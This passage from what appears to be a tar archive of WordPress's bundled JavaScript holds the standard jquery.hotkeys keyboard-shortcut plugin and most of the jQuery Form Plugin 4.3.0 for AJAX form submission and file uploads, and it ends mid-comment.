s(t,a.table_hotkeys.current_row)})}else{r=this;a.hotkeys.add(r,b.hotkeys_opts,n("."+b.class_prefix+r))}})};a.table_hotkeys.current_row=null;a.table_hotkeys.defaults={cycle_expr:"tr",class_prefix:"vim-",selected_suffix:"current",destructive_suffix:"destructive",hotkeys_opts:{disableInInput:true,type:"keypress"},checkbox_expr:":checkbox",next_key:"j",prev_key:"k",mark_key:"x",start_row_index:2,highlight_first:false,highlight_last:false,next_page_link_cb:false,prev_page_link_cb:false}})(jQuery);�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/jquery.hotkeys.js�������������������������������������������������������������������������0000644�����������������00000012761�14717703502�0012056 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/****************************************************************************************************************************** * @ Original idea by by Binny V A, Original version: 2.00.A * @ http://www.openjs.com/scripts/events/keyboard_shortcuts/ * @ Original License : BSD * @ jQuery Plugin by Tzury Bar Yochay mail: tzury.by@gmail.com blog: evalinux.wordpress.com face: facebook.com/profile.php?id=513676303 (c) Copyrights 2007 * @ jQuery Plugin version Beta (0.0.2) * @ License: jQuery-License. TODO: add queue support (as in gmail) e.g. 'x' then 'y', etc. add mouse + mouse wheel events. USAGE: $.hotkeys.add('Ctrl+c', function(){ alert('copy anyone?');}); $.hotkeys.add('Ctrl+c', {target:'div#editor', type:'keyup', propagate: true},function(){ alert('copy anyone?');});> $.hotkeys.remove('Ctrl+c'); $.hotkeys.remove('Ctrl+c', {target:'div#editor', type:'keypress'}); ******************************************************************************************************************************/ (function (jQuery){ this.version = '(beta)(0.0.3)'; this.all = {}; this.special_keys = { 27: 'esc', 9: 'tab', 32:'space', 13: 'return', 8:'backspace', 145: 'scroll', 20: 'capslock', 144: 'numlock', 19:'pause', 45:'insert', 36:'home', 46:'del',35:'end', 33: 'pageup', 34:'pagedown', 37:'left', 38:'up', 39:'right',40:'down', 112:'f1',113:'f2', 114:'f3', 115:'f4', 116:'f5', 117:'f6', 118:'f7', 119:'f8', 120:'f9', 121:'f10', 122:'f11', 123:'f12'}; this.shift_nums = { "`":"~", "1":"!", "2":"@", "3":"#", "4":"$", "5":"%", "6":"^", "7":"&", "8":"*", "9":"(", "0":")", "-":"_", "=":"+", ";":":", "'":"\"", ",":"<", ".":">", "/":"?", "\\":"|" }; this.add = function(combi, options, callback) { if ( typeof options === 'function' ){ callback = options; options = {}; } var opt = {}, defaults = {type: 'keydown', propagate: false, disableInInput: false, target: jQuery('html')[0]}, that = this; opt = jQuery.extend( opt , defaults, options || {} ); combi = combi.toLowerCase(); // inspect if keystroke matches var inspector = function(event) { // WP: not needed with newer jQuery // event = jQuery.event.fix(event); // jQuery event normalization. var element = event.target; // @ TextNode -> nodeType == 3 // WP: not needed with newer jQuery // element = (element.nodeType==3) ? element.parentNode : element; if ( opt['disableInInput'] ) { // Disable shortcut keys in Input, Textarea fields var target = jQuery(element); if ( ( target.is('input') || target.is('textarea') ) && ( ! opt.noDisable || ! target.is( opt.noDisable ) ) ) { return; } } var code = event.which, type = event.type, character = String.fromCharCode(code).toLowerCase(), special = that.special_keys[code], shift = event.shiftKey, ctrl = event.ctrlKey, alt= event.altKey, meta = event.metaKey, propagate = true, // default behaivour mapPoint = null; // in opera + safari, the event.target is unpredictable. // for example: 'keydown' might be associated with HtmlBodyElement // or the element where you last clicked with your mouse. // WP: needed for all browsers // if (jQuery.browser.opera || jQuery.browser.safari){ while (!that.all[element] && element.parentNode){ element = element.parentNode; } // } var cbMap = that.all[element].events[type].callbackMap; if(!shift && !ctrl && !alt && !meta) { // No Modifiers mapPoint = cbMap[special] || cbMap[character] } // deals with combinaitons (alt|ctrl|shift+anything) else{ var modif = ''; if(alt) modif +='alt+'; if(ctrl) modif+= 'ctrl+'; if(shift) modif += 'shift+'; if(meta) modif += 'meta+'; // modifiers + special keys or modifiers + characters or modifiers + shift characters mapPoint = cbMap[modif+special] || cbMap[modif+character] || cbMap[modif+that.shift_nums[character]] } if (mapPoint){ mapPoint.cb(event); if(!mapPoint.propagate) { event.stopPropagation(); event.preventDefault(); return false; } } }; // first hook for this element if (!this.all[opt.target]){ this.all[opt.target] = {events:{}}; } if (!this.all[opt.target].events[opt.type]){ this.all[opt.target].events[opt.type] = {callbackMap: {}} jQuery.event.add(opt.target, opt.type, inspector); } this.all[opt.target].events[opt.type].callbackMap[combi] = {cb: callback, propagate:opt.propagate}; return jQuery; }; this.remove = function(exp, opt) { opt = opt || {}; target = opt.target || jQuery('html')[0]; type = opt.type || 'keydown'; exp = exp.toLowerCase(); delete this.all[target].events[type].callbackMap[exp] return jQuery; }; jQuery.hotkeys = this; return jQuery; })(jQuery); ���������������js/jquery/jquery.form.js����������������������������������������������������������������������������0000644�����������������00000121667�14717703502�0011341 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery Form Plugin * version: 4.3.0 * Requires jQuery v1.7.2 or later * Project repository: https://github.com/jquery-form/form * Copyright 2017 Kevin Morris * Copyright 2006 M. Alsup * Dual licensed under the LGPL-2.1+ or MIT licenses * https://github.com/jquery-form/form#license * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. */ /* global ActiveXObject */ /* eslint-disable */ (function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = function( root, jQuery ) { if (typeof jQuery === 'undefined') { // require('jQuery') returns a factory that requires window to build a jQuery instance, we normalize how we use modules // that require this pattern but the window provided is a noop if it's defined (how jquery works) if (typeof window !== 'undefined') { jQuery = require('jquery'); } else { jQuery = require('jquery')(root); } } factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } }(function ($) { /* eslint-enable */ 'use strict'; /* Usage Note: ----------- Do not use both ajaxSubmit and ajaxForm on the same form. These functions are mutually exclusive. Use ajaxSubmit if you want to bind your own submit handler to the form. For example, $(document).ready(function() { $('#myForm').on('submit', function(e) { e.preventDefault(); // <-- important $(this).ajaxSubmit({ target: '#output' }); }); }); Use ajaxForm when you want the plugin to manage all the event binding for you. For example, $(document).ready(function() { $('#myForm').ajaxForm({ target: '#output' }); }); You can also use ajaxForm with delegation (requires jQuery v1.7+), so the form does not have to exist when you invoke ajaxForm: $('#myForm').ajaxForm({ delegation: true, target: '#output' }); When using ajaxForm, the ajaxSubmit function will be invoked for you at the appropriate time. */ var rCRLF = /\r?\n/g; /** * Feature detection */ var feature = {}; feature.fileapi = $('<input type="file">').get(0).files !== undefined; feature.formdata = (typeof window.FormData !== 'undefined'); var hasProp = !!$.fn.prop; // attr2 uses prop when it can but checks the return type for // an expected string. This accounts for the case where a form // contains inputs with names like "action" or "method"; in those // cases "prop" returns the element $.fn.attr2 = function() { if (!hasProp) { return this.attr.apply(this, arguments); } var val = this.prop.apply(this, arguments); if ((val && val.jquery) || typeof val === 'string') { return val; } return this.attr.apply(this, arguments); }; /** * ajaxSubmit() provides a mechanism for immediately submitting * an HTML form using AJAX. * * @param {object|string} options jquery.form.js parameters or custom url for submission * @param {object} data extraData * @param {string} dataType ajax dataType * @param {function} onSuccess ajax success callback function */ $.fn.ajaxSubmit = function(options, data, dataType, onSuccess) { // fast fail if nothing selected (http://dev.jquery.com/ticket/2752) if (!this.length) { log('ajaxSubmit: skipping submit process - no element selected'); return this; } /* eslint consistent-this: ["error", "$form"] */ var method, action, url, isMsie, iframeSrc, $form = this; if (typeof options === 'function') { options = {success: options}; } else if (typeof options === 'string' || (options === false && arguments.length > 0)) { options = { 'url' : options, 'data' : data, 'dataType' : dataType }; if (typeof onSuccess === 'function') { options.success = onSuccess; } } else if (typeof options === 'undefined') { options = {}; } method = options.method || options.type || this.attr2('method'); action = options.url || this.attr2('action'); url = (typeof action === 'string') ? $.trim(action) : ''; url = url || window.location.href || ''; if (url) { // clean url (don't include hash vaue) url = (url.match(/^([^#]+)/) || [])[1]; } // IE requires javascript:false in https, but this breaks chrome >83 and goes against spec. // Instead of using javascript:false always, let's only apply it for IE. isMsie = /(MSIE|Trident)/.test(navigator.userAgent || ''); iframeSrc = (isMsie && /^https/i.test(window.location.href || '')) ? 'javascript:false' : 'about:blank'; // eslint-disable-line no-script-url options = $.extend(true, { url : url, success : $.ajaxSettings.success, type : method || $.ajaxSettings.type, iframeSrc : iframeSrc }, options); // hook for manipulating the form data before it is extracted; // convenient for use with rich editors like tinyMCE or FCKEditor var veto = {}; this.trigger('form-pre-serialize', [this, options, veto]); if (veto.veto) { log('ajaxSubmit: submit vetoed via form-pre-serialize trigger'); return this; } // provide opportunity to alter form data before it is serialized if (options.beforeSerialize && options.beforeSerialize(this, options) === false) { log('ajaxSubmit: submit aborted via beforeSerialize callback'); return this; } var traditional = options.traditional; if (typeof traditional === 'undefined') { traditional = $.ajaxSettings.traditional; } var elements = []; var qx, a = this.formToArray(options.semantic, elements, options.filtering); if (options.data) { var optionsData = $.isFunction(options.data) ? options.data(a) : options.data; options.extraData = optionsData; qx = $.param(optionsData, traditional); } // give pre-submit callback an opportunity to abort the submit if (options.beforeSubmit && options.beforeSubmit(a, this, options) === false) { log('ajaxSubmit: submit aborted via beforeSubmit callback'); return this; } // fire vetoable 'validate' event this.trigger('form-submit-validate', [a, this, options, veto]); if (veto.veto) { log('ajaxSubmit: submit vetoed via form-submit-validate trigger'); return this; } var q = $.param(a, traditional); if (qx) { q = (q ? (q + '&' + qx) : qx); } if (options.type.toUpperCase() === 'GET') { options.url += (options.url.indexOf('?') >= 0 ? '&' : '?') + q; options.data = null; // data is null for 'get' } else { options.data = q; // data is the query string for 'post' } var callbacks = []; if (options.resetForm) { callbacks.push(function() { $form.resetForm(); }); } if (options.clearForm) { callbacks.push(function() { $form.clearForm(options.includeHidden); }); } // perform a load on the target only if dataType is not provided if (!options.dataType && options.target) { var oldSuccess = options.success || function(){}; callbacks.push(function(data, textStatus, jqXHR) { var successArguments = arguments, fn = options.replaceTarget ? 'replaceWith' : 'html'; $(options.target)[fn](data).each(function(){ oldSuccess.apply(this, successArguments); }); }); } else if (options.success) { if ($.isArray(options.success)) { $.merge(callbacks, options.success); } else { callbacks.push(options.success); } } options.success = function(data, status, xhr) { // jQuery 1.4+ passes xhr as 3rd arg var context = options.context || this; // jQuery 1.4+ supports scope context for (var i = 0, max = callbacks.length; i < max; i++) { callbacks[i].apply(context, [data, status, xhr || $form, $form]); } }; if (options.error) { var oldError = options.error; options.error = function(xhr, status, error) { var context = options.context || this; oldError.apply(context, [xhr, status, error, $form]); }; } if (options.complete) { var oldComplete = options.complete; options.complete = function(xhr, status) { var context = options.context || this; oldComplete.apply(context, [xhr, status, $form]); }; } // are there files to upload? // [value] (issue #113), also see comment: // https://github.com/malsup/form/commit/588306aedba1de01388032d5f42a60159eea9228#commitcomment-2180219 var fileInputs = $('input[type=file]:enabled', this).filter(function() { return $(this).val() !== ''; }); var hasFileInputs = fileInputs.length > 0; var mp = 'multipart/form-data'; var multipart = ($form.attr('enctype') === mp || $form.attr('encoding') === mp); var fileAPI = feature.fileapi && feature.formdata; log('fileAPI :' + fileAPI); var shouldUseFrame = (hasFileInputs || multipart) && !fileAPI; var jqxhr; // options.iframe allows user to force iframe mode // 06-NOV-09: now defaulting to iframe mode if file input is detected if (options.iframe !== false && (options.iframe || shouldUseFrame)) { // hack to fix Safari hang (thanks to Tim Molendijk for this) // see: http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d if (options.closeKeepAlive) { $.get(options.closeKeepAlive, function() { jqxhr = fileUploadIframe(a); }); } else { jqxhr = fileUploadIframe(a); } } else if ((hasFileInputs || multipart) && fileAPI) { jqxhr = fileUploadXhr(a); } else { jqxhr = $.ajax(options); } $form.removeData('jqxhr').data('jqxhr', jqxhr); // clear element array for (var k = 0; k < elements.length; k++) { elements[k] = null; } // fire 'notify' event this.trigger('form-submit-notify', [this, options]); return this; // utility fn for deep serialization function deepSerialize(extraData) { var serialized = $.param(extraData, options.traditional).split('&'); var len = serialized.length; var result = []; var i, part; for (i = 0; i < len; i++) { // #252; undo param space replacement serialized[i] = serialized[i].replace(/\+/g, ' '); part = serialized[i].split('='); // #278; use array instead of object storage, favoring array serializations result.push([decodeURIComponent(part[0]), decodeURIComponent(part[1])]); } return result; } // XMLHttpRequest Level 2 file uploads (big hat tip to francois2metz) function fileUploadXhr(a) { var formdata = new FormData(); for (var i = 0; i < a.length; i++) { formdata.append(a[i].name, a[i].value); } if (options.extraData) { var serializedData = deepSerialize(options.extraData); for (i = 0; i < serializedData.length; i++) { if (serializedData[i]) { formdata.append(serializedData[i][0], serializedData[i][1]); } } } options.data = null; var s = $.extend(true, {}, $.ajaxSettings, options, { contentType : false, processData : false, cache : false, type : method || 'POST' }); if (options.uploadProgress) { // workaround because jqXHR does not expose upload property s.xhr = function() { var xhr = $.ajaxSettings.xhr(); if (xhr.upload) { xhr.upload.addEventListener('progress', function(event) { var percent = 0; var position = event.loaded || event.position; /* event.position is deprecated */ var total = event.total; if (event.lengthComputable) { percent = Math.ceil(position / total * 100); } options.uploadProgress(event, position, total, percent); }, false); } return xhr; }; } s.data = null; var beforeSend = s.beforeSend; s.beforeSend = function(xhr, o) { // Send FormData() provided by user if (options.formData) { o.data = options.formData; } else { o.data = formdata; } if (beforeSend) { beforeSend.call(this, xhr, o); } }; return $.ajax(s); } // private function for handling file uploads (hat tip to YAHOO!) function fileUploadIframe(a) { var form = $form[0], el, i, s, g, id, $io, io, xhr, sub, n, timedOut, timeoutHandle; var deferred = $.Deferred(); // #341 deferred.abort = function(status) { xhr.abort(status); }; if (a) { // ensure that every serialized input is still enabled for (i = 0; i < elements.length; i++) { el = $(elements[i]); if (hasProp) { el.prop('disabled', false); } else { el.removeAttr('disabled'); } } } s = $.extend(true, {}, $.ajaxSettings, options); s.context = s.context || s; id = 'jqFormIO' + new Date().getTime(); var ownerDocument = form.ownerDocument; var $body = $form.closest('body'); if (s.iframeTarget) { $io = $(s.iframeTarget, ownerDocument); n = $io.attr2('name'); if (!n) { $io.attr2('name', id); } else { id = n; } } else { $io = $('<iframe name="' + id + '" src="' + s.iframeSrc + '" />', ownerDocument); $io.css({position: 'absolute', top: '-1000px', left: '-1000px'}); } io = $io[0]; xhr = { // mock object aborted : 0, responseText : null, responseXML : null, status : 0, statusText : 'n/a', getAllResponseHeaders : function() {}, getResponseHeader : function() {}, setRequestHeader : function() {}, abort : function(status) { var e = (status === 'timeout' ? 'timeout' : 'aborted'); log('aborting upload... ' + e); this.aborted = 1; try { // #214, #257 if (io.contentWindow.document.execCommand) { io.contentWindow.document.execCommand('Stop'); } } catch (ignore) {} $io.attr('src', s.iframeSrc); // abort op in progress xhr.error = e; if (s.error) { s.error.call(s.context, xhr, e, status); } if (g) { $.event.trigger('ajaxError', [xhr, s, e]); } if (s.complete) { s.complete.call(s.context, xhr, e); } } }; g = s.global; // trigger ajax global events so that activity/block indicators work like normal if (g && $.active++ === 0) { $.event.trigger('ajaxStart'); } if (g) { $.event.trigger('ajaxSend', [xhr, s]); } if (s.beforeSend && s.beforeSend.call(s.context, xhr, s) === false) { if (s.global) { $.active--; } deferred.reject(); return deferred; } if (xhr.aborted) { deferred.reject(); return deferred; } // add submitting element to data if we know it sub = form.clk; if (sub) { n = sub.name; if (n && !sub.disabled) { s.extraData = s.extraData || {}; s.extraData[n] = sub.value; if (sub.type === 'image') { s.extraData[n + '.x'] = form.clk_x; s.extraData[n + '.y'] = form.clk_y; } } } var CLIENT_TIMEOUT_ABORT = 1; var SERVER_ABORT = 2; function getDoc(frame) { /* it looks like contentWindow or contentDocument do not * carry the protocol property in ie8, when running under ssl * frame.document is the only valid response document, since * the protocol is know but not on the other two objects. strange? * "Same origin policy" http://en.wikipedia.org/wiki/Same_origin_policy */ var doc = null; // IE8 cascading access check try { if (frame.contentWindow) { doc = frame.contentWindow.document; } } catch (err) { // IE8 access denied under ssl & missing protocol log('cannot get iframe.contentWindow document: ' + err); } if (doc) { // successful getting content return doc; } try { // simply checking may throw in ie8 under ssl or mismatched protocol doc = frame.contentDocument ? frame.contentDocument : frame.document; } catch (err) { // last attempt log('cannot get iframe.contentDocument: ' + err); doc = frame.document; } return doc; } // Rails CSRF hack (thanks to Yvan Barthelemy) var csrf_token = $('meta[name=csrf-token]').attr('content'); var csrf_param = $('meta[name=csrf-param]').attr('content'); if (csrf_param && csrf_token) { s.extraData = s.extraData || {}; s.extraData[csrf_param] = csrf_token; } // take a breath so that pending repaints get some cpu time before the upload starts function doSubmit() { // make sure form attrs are set var t = $form.attr2('target'), a = $form.attr2('action'), mp = 'multipart/form-data', et = $form.attr('enctype') || $form.attr('encoding') || mp; // update form attrs in IE friendly way form.setAttribute('target', id); if (!method || /post/i.test(method)) { form.setAttribute('method', 'POST'); } if (a !== s.url) { form.setAttribute('action', s.url); } // ie borks in some cases when setting encoding if (!s.skipEncodingOverride && (!method || /post/i.test(method))) { $form.attr({ encoding : 'multipart/form-data', enctype : 'multipart/form-data' }); } // support timout if (s.timeout) { timeoutHandle = setTimeout(function() { timedOut = true; cb(CLIENT_TIMEOUT_ABORT); }, s.timeout); } // look for server aborts function checkState() { try { var state = getDoc(io).readyState; log('state = ' + state); if (state && state.toLowerCase() === 'uninitialized') { setTimeout(checkState, 50); } } catch (e) { log('Server abort: ', e, ' (', e.name, ')'); cb(SERVER_ABORT); // eslint-disable-line callback-return if (timeoutHandle) { clearTimeout(timeoutHandle); } timeoutHandle = undefined; } } // add "extra" data to form if provided in options var extraInputs = []; try { if (s.extraData) { for (var n in s.extraData) { if (s.extraData.hasOwnProperty(n)) { // if using the $.param format that allows for multiple values with the same name if ($.isPlainObject(s.extraData[n]) && s.extraData[n].hasOwnProperty('name') && s.extraData[n].hasOwnProperty('value')) { extraInputs.push( $('<input type="hidden" name="' + s.extraData[n].name + '">', ownerDocument).val(s.extraData[n].value) .appendTo(form)[0]); } else { extraInputs.push( $('<input type="hidden" name="' + n + '">', ownerDocument).val(s.extraData[n]) .appendTo(form)[0]); } } } } if (!s.iframeTarget) { // add iframe to doc and submit the form $io.appendTo($body); } if (io.attachEvent) { io.attachEvent('onload', cb); } else { io.addEventListener('load', cb, false); } setTimeout(checkState, 15); try { form.submit(); } catch (err) { // just in case form has element with name/id of 'submit' var submitFn = document.createElement('form').submit; submitFn.apply(form); } } finally { // reset attrs and remove "extra" input elements form.setAttribute('action', a); form.setAttribute('enctype', et); // #380 if (t) { form.setAttribute('target', t); } else { $form.removeAttr('target'); } $(extraInputs).remove(); } } if (s.forceSync) { doSubmit(); } else { setTimeout(doSubmit, 10); // this lets dom updates render } var data, doc, domCheckCount = 50, callbackProcessed; function cb(e) { if (xhr.aborted || callbackProcessed) { return; } doc = getDoc(io); if (!doc) { log('cannot access response document'); e = SERVER_ABORT; } if (e === CLIENT_TIMEOUT_ABORT && xhr) { xhr.abort('timeout'); deferred.reject(xhr, 'timeout'); return; } if (e === SERVER_ABORT && xhr) { xhr.abort('server abort'); deferred.reject(xhr, 'error', 'server abort'); return; } if (!doc || doc.location.href === s.iframeSrc) { // response not received yet if (!timedOut) { return; } } if (io.detachEvent) { io.detachEvent('onload', cb); } else { io.removeEventListener('load', cb, false); } var status = 'success', errMsg; try { if (timedOut) { throw 'timeout'; } var isXml = s.dataType === 'xml' || doc.XMLDocument || $.isXMLDoc(doc); log('isXml=' + isXml); if (!isXml && window.opera && (doc.body === null || !doc.body.innerHTML)) { if (--domCheckCount) { // in some browsers (Opera) the iframe DOM is not always traversable when // the onload callback fires, so we loop a bit to accommodate log('requeing onLoad callback, DOM not available'); setTimeout(cb, 250); return; } // let this fall through because server response could be an empty document // log('Could not access iframe DOM after mutiple tries.'); // throw 'DOMException: not available'; } // log('response detected'); var docRoot = doc.body ? doc.body : doc.documentElement; xhr.responseText = docRoot ? docRoot.innerHTML : null; xhr.responseXML = doc.XMLDocument ? doc.XMLDocument : doc; if (isXml) { s.dataType = 'xml'; } xhr.getResponseHeader = function(header){ var headers = {'content-type': s.dataType}; return headers[header.toLowerCase()]; }; // support for XHR 'status' & 'statusText' emulation : if (docRoot) { xhr.status = Number(docRoot.getAttribute('status')) || xhr.status; xhr.statusText = docRoot.getAttribute('statusText') || xhr.statusText; } var dt = (s.dataType || '').toLowerCase(); var scr = /(json|script|text)/.test(dt); if (scr || s.textarea) { // see if user embedded response in textarea var ta = doc.getElementsByTagName('textarea')[0]; if (ta) { xhr.responseText = ta.value; // support for XHR 'status' & 'statusText' emulation : xhr.status = Number(ta.getAttribute('status')) || xhr.status; xhr.statusText = ta.getAttribute('statusText') || xhr.statusText; } else if (scr) { // account for browsers injecting pre around json response var pre = doc.getElementsByTagName('pre')[0]; var b = doc.getElementsByTagName('body')[0]; if (pre) { xhr.responseText = pre.textContent ? pre.textContent : pre.innerText; } else if (b) { xhr.responseText = b.textContent ? b.textContent : b.innerText; } } } else if (dt === 'xml' && !xhr.responseXML && xhr.responseText) { xhr.responseXML = toXml(xhr.responseText); // eslint-disable-line no-use-before-define } try { data = httpData(xhr, dt, s); // eslint-disable-line no-use-before-define } catch (err) { status = 'parsererror'; xhr.error = errMsg = (err || status); } } catch (err) { log('error caught: ', err); status = 'error'; xhr.error = errMsg = (err || status); } if (xhr.aborted) { log('upload aborted'); status = null; } if (xhr.status) { // we've set xhr.status status = ((xhr.status >= 200 && xhr.status < 300) || xhr.status === 304) ? 'success' : 'error'; } // ordering of these callbacks/triggers is odd, but that's how $.ajax does it if (status === 'success') { if (s.success) { s.success.call(s.context, data, 'success', xhr); } deferred.resolve(xhr.responseText, 'success', xhr); if (g) { $.event.trigger('ajaxSuccess', [xhr, s]); } } else if (status) { if (typeof errMsg === 'undefined') { errMsg = xhr.statusText; } if (s.error) { s.error.call(s.context, xhr, status, errMsg); } deferred.reject(xhr, 'error', errMsg); if (g) { $.event.trigger('ajaxError', [xhr, s, errMsg]); } } if (g) { $.event.trigger('ajaxComplete', [xhr, s]); } if (g && !--$.active) { $.event.trigger('ajaxStop'); } if (s.complete) { s.complete.call(s.context, xhr, status); } callbackProcessed = true; if (s.timeout) { clearTimeout(timeoutHandle); } // clean up setTimeout(function() { if (!s.iframeTarget) { $io.remove(); } else { // adding else to clean up existing iframe response. $io.attr('src', s.iframeSrc); } xhr.responseXML = null; }, 100); } var toXml = $.parseXML || function(s, doc) { // use parseXML if available (jQuery 1.5+) if (window.ActiveXObject) { doc = new ActiveXObject('Microsoft.XMLDOM'); doc.async = 'false'; doc.loadXML(s); } else { doc = (new DOMParser()).parseFromString(s, 'text/xml'); } return (doc && doc.documentElement && doc.documentElement.nodeName !== 'parsererror') ? doc : null; }; var parseJSON = $.parseJSON || function(s) { /* jslint evil:true */ return window['eval']('(' + s + ')'); // eslint-disable-line dot-notation }; var httpData = function(xhr, type, s) { // mostly lifted from jq1.4.4 var ct = xhr.getResponseHeader('content-type') || '', xml = ((type === 'xml' || !type) && ct.indexOf('xml') >= 0), data = xml ? xhr.responseXML : xhr.responseText; if (xml && data.documentElement.nodeName === 'parsererror') { if ($.error) { $.error('parsererror'); } } if (s && s.dataFilter) { data = s.dataFilter(data, type); } if (typeof data === 'string') { if ((type === 'json' || !type) && ct.indexOf('json') >= 0) { data = parseJSON(data); } else if ((type === 'script' || !type) && ct.indexOf('javascript') >= 0) { $.globalEval(data); } } return data; }; return deferred; } }; /** * ajaxForm() provides a mechanism for fully automating form submission. * * The advantages of using this method instead of ajaxSubmit() are: * * 1: This method will include coordinates for <input type="image"> elements (if the element * is used to submit the form). * 2. This method will include the submit element's name/value data (for the element that was * used to submit the form). * 3. This method binds the submit() method to the form for you. * * The options argument for ajaxForm works exactly as it does for ajaxSubmit. ajaxForm merely * passes the options argument along after properly binding events for submit elements and * the form itself. */ $.fn.ajaxForm = function(options, data, dataType, onSuccess) { if (typeof options === 'string' || (options === false && arguments.length > 0)) { options = { 'url' : options, 'data' : data, 'dataType' : dataType }; if (typeof onSuccess === 'function') { options.success = onSuccess; } } options = options || {}; options.delegation = options.delegation && $.isFunction($.fn.on); // in jQuery 1.3+ we can fix mistakes with the ready state if (!options.delegation && this.length === 0) { var o = {s: this.selector, c: this.context}; if (!$.isReady && o.s) { log('DOM not ready, queuing ajaxForm'); $(function() { $(o.s, o.c).ajaxForm(options); }); return this; } // is your DOM ready? http://docs.jquery.com/Tutorials:Introducing_$(document).ready() log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)')); return this; } if (options.delegation) { $(document) .off('submit.form-plugin', this.selector, doAjaxSubmit) .off('click.form-plugin', this.selector, captureSubmittingElement) .on('submit.form-plugin', this.selector, options, doAjaxSubmit) .on('click.form-plugin', this.selector, options, captureSubmittingElement); return this; } if (options.beforeFormUnbind) { options.beforeFormUnbind(this, options); } return this.ajaxFormUnbind() .on('submit.form-plugin', options, doAjaxSubmit) .on('click.form-plugin', options, captureSubmittingElement); }; // private event handlers function doAjaxSubmit(e) { /* jshint validthis:true */ var options = e.data; if (!e.isDefaultPrevented()) { // if event has been canceled, don't proceed e.preventDefault(); $(e.target).closest('form').ajaxSubmit(options); // #365 } } function captureSubmittingElement(e) { /* jshint validthis:true */ var target = e.target; var $el = $(target); if (!$el.is('[type=submit],[type=image]')) { // is this a child element of the submit el? (ex: a span within a button) var t = $el.closest('[type=submit]'); if (t.length === 0) { return; } target = t[0]; } var form = target.form; form.clk = target; if (target.type === 'image') { if (typeof e.offsetX !== 'undefined') { form.clk_x = e.offsetX; form.clk_y = e.offsetY; } else if (typeof $.fn.offset === 'function') { var offset = $el.offset(); form.clk_x = e.pageX - offset.left; form.clk_y = e.pageY - offset.top; } else { form.clk_x = e.pageX - target.offsetLeft; form.clk_y = e.pageY - target.offsetTop; } } // clear form vars setTimeout(function() { form.clk = form.clk_x = form.clk_y = null; }, 100); } // ajaxFormUnbind unbinds the event handlers that were bound by ajaxForm $.fn.ajaxFormUnbind = function() { return this.off('submit.form-plugin click.form-plugin'); }; /** * formToArray() gathers form element data into an array of objects that can * be passed to any of the following ajax functions: $.get, $.post, or load. * Each object in the array has both a 'name' and 'value' property. An example of * an array for a simple login form might be: * * [ { name: 'username', value: 'jresig' }, { name: 'password', value: 'secret' } ] * * It is this array that is passed to pre-submit callback functions provided to the * ajaxSubmit() and ajaxForm() methods. */ $.fn.formToArray = function(semantic, elements, filtering) { var a = []; if (this.length === 0) { return a; } var form = this[0]; var formId = this.attr('id'); var els = (semantic || typeof form.elements === 'undefined') ? form.getElementsByTagName('*') : form.elements; var els2; if (els) { els = $.makeArray(els); // convert to standard array } // #386; account for inputs outside the form which use the 'form' attribute // FinesseRus: in non-IE browsers outside fields are already included in form.elements. if (formId && (semantic || /(Edge|Trident)\//.test(navigator.userAgent))) { els2 = $(':input[form="' + formId + '"]').get(); // hat tip @thet if (els2.length) { els = (els || []).concat(els2); } } if (!els || !els.length) { return a; } if ($.isFunction(filtering)) { els = $.map(els, filtering); } var i, j, n, v, el, max, jmax; for (i = 0, max = els.length; i < max; i++) { el = els[i]; n = el.name; if (!n || el.disabled) { continue; } if (semantic && form.clk && el.type === 'image') { // handle image inputs on the fly when semantic == true if (form.clk === el) { a.push({name: n, value: $(el).val(), type: el.type}); a.push({name: n + '.x', value: form.clk_x}, {name: n + '.y', value: form.clk_y}); } continue; } v = $.fieldValue(el, true); if (v && v.constructor === Array) { if (elements) { elements.push(el); } for (j = 0, jmax = v.length; j < jmax; j++) { a.push({name: n, value: v[j]}); } } else if (feature.fileapi && el.type === 'file') { if (elements) { elements.push(el); } var files = el.files; if (files.length) { for (j = 0; j < files.length; j++) { a.push({name: n, value: files[j], type: el.type}); } } else { // #180 a.push({name: n, value: '', type: el.type}); } } else if (v !== null && typeof v !== 'undefined') { if (elements) { elements.push(el); } a.push({name: n, value: v, type: el.type, required: el.required}); } } if (!semantic && form.clk) { // input type=='image' are not found in elements array! handle it here var $input = $(form.clk), input = $input[0]; n = input.name; if (n && !input.disabled && input.type === 'image') { a.push({name: n, value: $input.val()}); a.push({name: n + '.x', value: form.clk_x}, {name: n + '.y', value: form.clk_y}); } } return a; }; /** * Serializes form data into a 'submittable' string. This method will return a string * in the format: name1=value1&name2=value2 */ $.fn.formSerialize = function(semantic) { // hand off to jQuery.param for proper encoding return $.param(this.formToArray(semantic)); }; /** * Serializes all field elements in the jQuery object into a query string. * This method will return a string in the format: name1=value1&name2=value2 */ $.fn.fieldSerialize = function(successful) { var a = []; this.each(function() { var n = this.name; if (!n) { return; } var v = $.fieldValue(this, successful); if (v && v.constructor === Array) { for (var i = 0, max = v.length; i < max; i++) { a.push({name: n, value: v[i]}); } } else if (v !== null && typeof v !== 'undefined') { a.push({name: this.name, value: v}); } }); // hand off to jQuery.param for proper encoding return $.param(a); }; /** * Returns the value(s) of the element in the matched set. For example, consider the following form: * * <form><fieldset> * <input name="A" type="text"> * <input name="A" type="text"> * <input name="B" type="checkbox" value="B1"> * <input name="B" type="checkbox" value="B2"> * <input name="C" type="radio" value="C1"> * <input name="C" type="radio" value="C2"> * </fieldset></form> * * var v = $('input[type=text]').fieldValue(); * // if no values are entered into the text inputs * v === ['',''] * // if values entered into the text inputs are 'foo' and 'bar' * v === ['foo','bar'] * * var v = $('input[type=checkbox]').fieldValue(); * // if neither checkbox is checked * v === undefined * // if both checkboxes are checked * v === ['B1', 'B2'] * * var v = 